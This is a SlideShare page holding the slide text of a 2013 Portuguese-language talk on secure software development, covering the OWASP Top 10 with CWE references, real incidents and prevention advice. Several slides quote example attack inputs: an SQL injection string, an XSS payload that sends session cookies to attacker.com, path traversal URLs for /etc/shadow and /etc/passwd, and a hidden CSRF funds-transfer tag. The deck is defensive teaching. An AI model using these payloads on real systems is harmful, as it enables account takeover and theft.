Desenvolvimento de Software Seguro

3.720 visualizações

Publicada em

Palestra apresentada na Faculdade de Tecnologia SENAC (Porto Alegre) em 20/maio/2013

Publicada em: Tecnologia
0 comentários
5 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
3.720
No SlideShare
0
A partir de incorporações
0
Número de incorporações
4
Ações
Compartilhamentos
0
Downloads
0
Comentários
0
Gostaram
5
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide
  • http://www.theregister.co.uk/2007/07/02/ms_uk_defacement/http://www.computerworld.com/s/article/9030318/_Hackers_deface_UN_sitehttp://en.wikipedia.org/wiki/LulzSec
  • http://www.theregister.co.uk/2007/07/02/ms_uk_defacement/http://www.computerworld.com/s/article/9030318/_Hackers_deface_UN_sitehttp://en.wikipedia.org/wiki/LulzSec
  • http://en.wikipedia.org/wiki/Prepared_statement
  • http://news.netcraft.com/archives/2008/04/21/hacker_redirects_barack_obamas_site_to_hillaryclintoncom.htmlhttp://news.netcraft.com/archives/2008/04/24/clinton_and_obama_xss_battle_develops.html
  • Firesheep is an extension for the Firefox web browser that uses a packet sniffer to intercept unencrypted cookies from websites such as Facebook and Twitter. As cookies are transmitted over networks, packet sniffing is used to discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim's name.[2]The extension was created as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.[3] It has been warned that the use of the extension to capture login details without permission would violate wiretapping laws and/or computer security laws in some countries. Despite the security threat surrounding Firesheep, representatives for Mozilla Add-ons have stated that it would not use the browser's internal add-on blacklist to disable use of Firesheep, as the blacklist has only been used to disable spyware or add-ons which inadvertently create security vulnerabilities, as opposed to attack tools (which may legitimately be used to test the security of one's own systems).[4]http://www.youtube.com/watch?v=06F6y2QpPbQ
  • Firesheep is an extension for the Firefox web browser that uses a packet sniffer to intercept unencrypted cookies from websites such as Facebook and Twitter. As cookies are transmitted over networks, packet sniffing is used to discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim's name.[2]The extension was created as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.[3] It has been warned that the use of the extension to capture login details without permission would violate wiretapping laws and/or computer security laws in some countries. Despite the security threat surrounding Firesheep, representatives for Mozilla Add-ons have stated that it would not use the browser's internal add-on blacklist to disable use of Firesheep, as the blacklist has only been used to disable spyware or add-ons which inadvertently create security vulnerabilities, as opposed to attack tools (which may legitimately be used to test the security of one's own systems).[4]
  • Desenvolvimento de Software Seguro

    1. 1. Augusto Lüdtke20/maio/2013
    2. 2.  Por que software seguro? Conceitos básicos Princípios de segurança OWASPTop 10
    3. 3.  Esta apresentação não é sobre a HP A HP não é responsável pelas opiniões apresentadas aqui
    4. 4. NetworkApplicationDatabase ServerWeb ServerApplication ServerOperating SystemFonte de 95% das vulnerabilidades(Software Security Testing: Let’s Get Back to Basics)Alvo de 75% dos ataques(Now Is the Time for Security at the Application Level)
    5. 5. Explosão no número de vulnerabilidades* National Vulnerabilty Database
    6. 6. A vantagem de corrigir cedo
    7. 7.  CIA Confidencialidade Integridade Disponibilidade (Availability) AAA Autenticação Autorização Auditoria
    8. 8.  OWASP▪ Open Web Application Security Project (Projeto Aberto de Segurança de AplicaçõesWeb)▪ Organização internacional▪ Sem fins lucrativos▪ Contribui para a melhoria da segurança de software OWASPTop 10 Conscientização sobre segurança de aplicações, identificando alguns dosmaiores riscos que as organizações enfrentam.
    9. 9. Versão 2010: risco x prevalência A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URLAccess A9: InsufficientTransport Layer Protection A10: Unvalidated Redirects and Forwards
    10. 10. A1: Injection Visão geral▪ Dados não confiáveis enviados para um interpretador como parte de umcomando/consulta▪ Interpretador executa um comando malicioso▪ Interpretadores:▪ Bancos de dados▪ Servidores LDAP▪ Shell Vulnerabilidades associadas▪ CWE-77: Improper Neutralization of Special Elements used in a Command(Command Injection)▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL Injection)
    11. 11. A1: Injection Exemplo A aplicação usa dados não-confiáveis na construção da consulta SQL:String query = "SELECT * FROM accountsWHERE custID=" + request.getParameter("id") +""; O atacante modifica o parâmetro ‘id’ no browser para enviar or 1=1:http://example.com/app/accountView?id= or 1=1 E a consulta executada é:SELECT * FROM accounts WHERE custID= or 1=1
    12. 12. A1: Injection Exemplos reais de SQL injection Microsoft UK (junho/2007)▪ Defacement Nações Unidas (agosto/2007)▪ Defacement
    13. 13. A1: Injection Exemplos reais de SQL injection Sony Pictures (junho/2011)▪ Milhares de contas (1M x 37K)▪ Nomes▪ Senhas▪ Endereços de e-mail▪ Endereços residenciais▪ Datas de nascimento Yahoo!Voices (julho/2012)▪ Mais de 400K contas▪ Usernames▪ Senhas não criptografadas
    14. 14. A1: Injection Prevenção Consultas parametrizadas: os dados são separados dos comandosString custname = request.getParameter("customerName");String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";PreparedStatement pstmt = connection.prepareStatement(query);pstmt.setString(1, custname);ResultSet results = pstmt.executeQuery();
    15. 15. A2: Cross Site Scripting (XSS) Visão geral▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, porexemplo)▪ Aplicação repassa dados para o browser da vítima▪ Browser da vítima executa os comandos Vulnerabilidades associadas▪ CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-siteScripting)
    16. 16. A2: Cross Site Scripting (XSS) Exemplo A aplicação usa dados não-confiáveis na construção de código HTML:(String) page += “<input name=creditcard type=TEXT value=" +request.getParameter("CC") + ">"; O atacante cria uma URL para esta página, modificando o parâmetro CC para:‘><script>document.location= http://www.attacker.com/cgi-bin/cookie.cgi?foo=+document.cookie</script> Ao processar a URL, o browser do usuário processa a página contendo oJavaScript e o ID da sessão do usuário é enviado para o website do atacante.
    17. 17. A2: Cross Site Scripting (XSS) Exemplos reais barackobama.com (abril/2008)▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com votehillary.org (abril/2008)▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama
    18. 18. A2: Cross Site Scripting (XSS) Prevenção▪ Encoding/escaping de dados na entrada e na saída▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução)▪ Proteger cookies com o atributo HttpOnly
    19. 19. A3: Broken Authentication and Session Management Visão geral▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessãopara assumir a identidade do usuário.▪ Alvos: contas, senhas e IDs de sessão Vulnerabilidades associadas▪ CWE-287: Improper Authentication
    20. 20. A3: Broken Authentication and Session Management Exemplos Usuário autenticado informa os amigos sobre a passagem que comprou:http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).
    21. 21. A3: Broken Authentication and Session Management Exemplos reais Timeout da aplicação não é definido apropriadamente:
    22. 22. A3: Broken Authentication and Session Management Exemplos reais Senhas não criptografadas no banco de dados:▪ DreamHost (janeiro/2012)▪ Billabong (julho/2012)
    23. 23. A3: Broken Authentication and Session Management Prevenção▪ Adicione um timeout à sessão para reduzir a janela de oportunidade▪ Use funções de hash e “salt” para armazenar senhas▪ Transmita as credenciais somente sobre HTTPS
    24. 24. A4: Insecure Direct Object References Visão geral▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de umparâmetro que aponta para um objeto do sistema (arquivo, registro, etc.)▪ A aplicação não verifica as permissões necessárias e dá acesso indevido àsinformações Vulnerabilidades associadas▪ CWE-639: Authorization BypassThrough User-Controlled Key▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory (PathTraversal)
    25. 25. A4: Insecure Direct Object References Exemplo A aplicação usa dados não verificados numa consulta SQL acessandoinformações da conta:String query = "SELECT * FROM accts WHERE account = ?";PreparedStatement pstmt = connection.prepareStatement(query , ...);pstmt.setString(1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery(); O atacante modifica o parâmetro ‘acct’ no browser para enviar o número daconta que ele quiser:http://example.com/app/accountInfo?acct=notmyacct
    26. 26. A4: Insecure Direct Object References Exemplo A aplicação abre arquivos que são determinados pelo usuáriohttp://some_site.com/../../../../etc/shadowhttp://some_site.com/get-files?file=/etc/passwd Exemplos de path traversal em servidores web:▪ Nginx (CVE-2009-3898)▪ ApacheTomcat (CVE-2009-2902)▪ IIS (CVE-2000-0884)
    27. 27. A4: Insecure Direct Object References Exemplos reais Dados de outros usuários acessados com pequenas mudanças na URL:▪ Passport Canada (dezembro/2007)▪ Citibank (junho/2011)
    28. 28. A4: Insecure Direct Object References Prevenção▪ Verifique se o usuário tem permissão para acessar o objeto requerido▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root”▪ Normalize/canonicalize a requisição antes de validá-la▪ Transforme %2e%2e%5c em ..
    29. 29. A5: Cross-Site Request Forgery (CSRF) Visão geral▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação webvulnerável▪ Browser inclui automaticamente dados de autenticação do usuário▪ Aplicação executa o comando em função da confiança que tem no usuário Vulnerabilidades associadas▪ CWE-352: Cross-Site Request Forgery (CSRF)
    30. 30. A5: Cross-Site Request Forgery (CSRF) Exemplo Site do banco recebe requisições de transferência no seguinte formato:http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 Atacante monta uma requisição maliciosa e a insere numa tag de imagem ouiframe:<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irátransferir o dinheiro para o atacante.
    31. 31. A5: Cross-Site Request Forgery (CSRF) Exemplo reais Vulnerabilidades de CSRF permitiam:▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.)▪ Postar comentários▪ Seguir usuários/perfis
    32. 32. A5: Cross-Site Request Forgery (CSRF) Prevenção▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisiçãoHTTP▪ Limitar o tempo de vida dos cookies de sessão
    33. 33. A6: Security Misconfiguration Visão geral▪ É necessária uma configuração segura definida para a aplicação, frameworks,servidores de aplicação, servidores web, bancos de dados e plataforma.▪ Inclui configurações default e atualização de pacotes Vulnerabilidades associadas▪ CWE-2: Environment
    34. 34. A6: Security Misconfiguration Exemplo real Locaweb (setembro/2010)▪ Vulnerabilidade no kernel Linux (CVE-2010-3081)▪ Mais de 25 mil sites atacados▪ Troca de acusações entre Locaweb e Red Hat
    35. 35. A6: Security Misconfiguration Prevenção▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado comtodos updates e patches▪ Desabilite serviços, portas, contas e privilégios desnecessários▪ Modifique ou desabilite senhas default
    36. 36. A7: Insecure Cryptographic Storage Visão geral Muitas aplicações não protegem adequadamente dados sensíveis:▪ Não criptografam os dados▪ Usam algoritmos inadequados▪ Não protegem as chaves criptográficas Vulnerabilidades associadas▪ CWE-310: Cryptographic Issues▪ CWE-312: Cleartext Storage of Sensitive Information▪ CWE-326: Inadequate Encryption Strength
    37. 37. A7: Insecure Cryptographic Storage Exemplo real LinkedIn (junho/2012)▪ Vazamento de 6,5 milhões de senhas criptografadas▪ Senhas armazenadas como hashes SHA-1▪ Não utilizavam “salt”▪ Vulneráveis a um ataque com “rainbow tables”
    38. 38. A7: Insecure Cryptographic Storage Prevenção▪ Identifique quais são os dados sensíveis▪ Use as proteções adequadas▪ Algoritmos seguros▪ Criptografia do sistema de arquivos▪ Criptografia de registros no banco de dados▪ Funções de hash com “salt” para armazenar senhas▪ Gerenciamento de chaves criptográficas▪ Geração▪ Armazenamento
    39. 39. A8: Failure to Restrict URL Access Visão geral▪ O atacante, que é um usuário do sistema, altera a URL para apontar para umapágina privilegiada.▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquelapágina Vulnerabilidades associadas▪ CWE-285: Improper Authorization
    40. 40. A8: Failure to Restrict URL Access Exemplo real D-Link DSL-504T (CVE-2005-1827)▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URLhttp://ipdoroteador/cgi-bin/firmwarecfg▪ Com este acesso, o usuário podia▪ Atualizar o firmware▪ Reiniciar o roteador▪ Restaurar uma configuração salva
    41. 41. A8: Failure to Restrict URL Access Prevenção▪ Inclua controles de autenticação e autorização em cada página▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir oesforço de manutenção▪ O mecanismo de autorização deve negar todos acessos por default, exigindopermissões explícitas para cada página
    42. 42. A9: InsufficientTransport Layer Protection Visão geral Aplicações falham em autenticar, criptografar e proteger a confidencialidadee integridade de tráfego de rede sensível. Vulnerabilidades associadas▪ CWE-319: Cleartext Transmission of Sensitive Information
    43. 43. A9: InsufficientTransport Layer Protection Exemplo real MI-5 (abril/2012)▪ Certificado SSL expirado
    44. 44. A9: InsufficientTransport Layer Protection Exemplo real Firesheep (outubro/2010)▪ Intercepta cookies não criptografados de sites como Facebook e Twitter
    45. 45. A9: InsufficientTransport Layer Protection Prevenção▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versõesHTTPS.▪ Proteja os cookies com o atributo Secure▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes:▪ Domínios▪ Validade▪ Autoridade certificadora (CA)
    46. 46. A10: Unvalidated Redirects and Forwards Visão geral A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetrosdo usuário para de terminar o destino. Um atacante pode criar uma URL comum domínio conhecido, mas que levará o usuário para uma página maliciosa. Vulnerabilidades associadas▪ CWE-601: URL Redirection to Untrusted Site (Open Redirect)
    47. 47. A10: Unvalidated Redirects and Forwards Exemplo A aplicação tem uma página chamada “redirect.jsp”, que recebe umparâmetro “url”. O atacante constrói uma URL que redireciona usuários paraum site malicioso que faz phishing e instala malwares:http://www.example.com/redirect.jsp?url=evil.com Exemplo real Trac (CVE-2008-2951)▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através deuma URL no parâmetro q.
    48. 48. A10: Unvalidated Redirects and Forwards Prevenção▪ Não use redirects▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário
    49. 49.  Livros Sites www.owasp.org cwe.mitre.org Notícias nakedsecurity.sophos.com thehackernews.com www.forbes.com/sites/andygreenberg/ www.h-online.com www.net-security.org www.securitybloggersnetwork.com @augusto_ludtke

    ×